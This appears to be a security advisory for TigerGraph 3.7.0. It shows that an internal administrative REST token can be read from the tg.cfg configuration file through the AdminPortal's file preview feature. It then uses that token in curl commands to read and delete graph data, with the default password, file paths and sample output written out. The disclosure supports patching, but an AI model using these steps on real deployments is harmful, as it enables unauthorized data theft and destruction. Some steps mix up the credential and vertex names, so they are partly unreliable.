The TigerGraph platform provides users with a REST API that allows authenticated users the ability to load data into the database, query the database, and update the database.

This report highlights that an authentication token – that is used internally by the TigerGraph system – can be read from configuration files stored on the TigerGraph platform. And that anyone using this token is granted administrative privileges across all REST API endpoints. Thereby, allowing an attackerto read and write to any graph in the platform.

Impact

Severe.

Unauthorized users can exfiltrate or corrupt any data contained within the TigerGraph platform.

Products/Versions Affected

  • TigerGraph Enterprise Free Edition 3.7.0 Docker Image
  • TigerGraph Enterprise Free Edition 3.7.0
  • TigerGraph Cloud

We suspect that this vulnerability is present in all existing TigerGraph products (although this is not confirmed).

Steps to Reproduce

Download and Run TigerGraph

Using docker download at the latest TigerGraph image and start the server:

1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:

docker rm tigergraph
docker pull docker.tigergraph.com/tigergraph:latest

2.) Download and run the docker image (note: we do not need to attach a volume):

docker run -d 
-p 14022:22 
-p 9000:9000 
-p 14240:14240 
--name tigergraph 
--ulimit nofile=1000000:1000000 
-t docker.tigergraph.com/tigergraph:latest

3.) Once the container has started, connect to it via ssh (note: the default password is ‘tigergraph’):

ssh -p 14022 tigergraph@localhost

4.) Start all TigerGraph services:

gadmin start all

5.) Using GSQL, create a new graph called test and add a node to it:

 $ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test {
GSQL>   INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello”)

6.) Enable RESTPP authentication

gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply -y
gadmin restart restpp nginx gui gsql -y

Obtaining Administrative Credentials

To demonstrate that the administrative level web credentials are readily obtainable we download them via the AdminPortal. Although, this step assumes that the login credentials of the administrative user are known; a situation that is plausible (see CVE-2022-xxxxx which details how to locate the login credentials of the administrative user within the system logs).

If however, the login credentials are not known, the web credentials can also be exfiltrated from the TigerGraph platform using the technique described in CVE-2022-xxxxx where a user with low-levels of privilege is able to exploit a weakness in GSQL to load data from arbitrary files into the database. We also found that it is possible to exfiltrate these web credentials under normal operating conditions by exploiting GSQL’s UDF facility to read arbitrary files (see CVE-2022-30331).

Login To The AdminPortal

The simplest way to obtain the administrative users login credentials is using AdminStudio and to do this follow these steps:

1.) Open a web-browser and go to https://localhost:14240 where you will be able to login to GraphStudio using the tigergraph user:

2.) Click on the “Admin” button on the top-right corner to switch into administrative mode (called the AdminPortal).

Downloading Web Credentials via AdminPortal

Once logged into the AdminPortal follow the following steps to download the TigerGraph configuration file:

  1. On the left-hand side expand the “Others” menu.
  2. Click on “GSQL Output File” to open the file preview pane.
  3. In the “File path” textbox enter the text “/home/tigergraph/tigergraph/data/configs/tg.cfg“.
  4. Click “Preview” to check that the file exists – if it does the first few lines will be displayed.
  5. Finally, click “Download” and the file will be downloaded to your local computer. On our system it was called m1_tg.cfg.

Note: When tested we found that the GUI was unable to download files that were symbolically linked. So if the files that you download in step 5 are corrupted follow the steps in the next sections to find the location of the actual file.

Symbolic Linking Issue

Once logged into AdminPortal perform the following steps:

  1. On the left-hand side expand the “Monitor” menu.
  2. Click on “Logs” to open the window that allows you to search through the system logs.
  3. In the “Pattern” textbox enter the text “LinkFilePath“.
  4. Under components de-select all components except “CONTROLLER”.
  5. Click “Search” to perform the search and return any matches.
  6. Finally, click on any match from the controller log file. (The file name starts “/controller” and ends in “.log”). Doing this will take you to the entry in the log file (shown below).

Once inside the log file you need to locate both the LinkFilePath and the SourceFilePath entries for tg.cfg. In the screenshot above we found these values to be:

  • LinkFilePath:"/home/tigergraph/tigergraph/data/configs/tg.cfg"
  • SourceFilePath:"tg.cfg.eyJDb3VudGVyIjoxMTEsIk1ldGFWZXJzaW9uIjoidjEiLCJWZXJzaW9uIjoxNjU1NDk2NDg0NjIwMjIxNjkyfQ=="
  • tg.cfg.eyJDb3VudGVyIjoxMTEsIk1ldGFWZXJzaW9uIjoidjEiLCJWZXJzaW9uIjoxNjU1NDk2NDg0NjIwMjIxNjkyfQ==

Now to construct the absolute file path to the configuration file replace tg.cfg in LinkFilePath to the value specified by SourceFilePath. In our example, this created the following path: /home/tigergraph/tigergraph/data/configs/tg.cfg.eyJDb3VudGVyIjoxMTEsIk1ldGFWZXJzaW9uIjoidjEiLCJWZXJzaW9uIjoxNjU1NDk2NDg0NjIwMjIxNjkyfQ==

To download this file repeats the same process as described in the section Downloading Web Credentials via AdminPortal but instead use the path that we calculated in this section.

Using The Administrative Web Token Credentials To Obtain Access

Once the SSH credentials of the administrative user have been obtained they can be used to authenticate with the remote TigerGraph server and obtain shell access as the administrative user without requiring a password.

1.) Locate the value of the administrative AuthToken in the configuration file that you obtained. This can either be done using the linux command line as shown below (or opening the file in a text editor and using the in-build find functionality):
cat m1_tg.cfg | grep AuthToken

"\"MaxAuthTokenLifeTimeSec\": 0",
"\"AuthToken\": \"9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe\"",
2.) Do a quick sanity test to check that authentication is enabled on the REST API:
curl -X GET https://127.0.0.1:9000/graph/test/vertices/Node
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":true,"message":"Access Denied because the input token = '' is empty","code":"REST-10016"}%
3.) Now we are able to send requests to REST APIs using our administrative AuthToken. Below we use it to return a list of vertices from our test graph:
curl -X GET \
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \
https://localhost:9000/graph/test/vertices/Node
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%
4.) We can use these REST endpoints to create/read/updated/delete any graph in the system. Below we use the administrative token to delete a vertex and then do a check it was deleted:
curl -X DELETE \
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \
https://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":{"v_type":"V1","deleted_vertices":1}}%

curl -X GET \
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \
https://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[]}%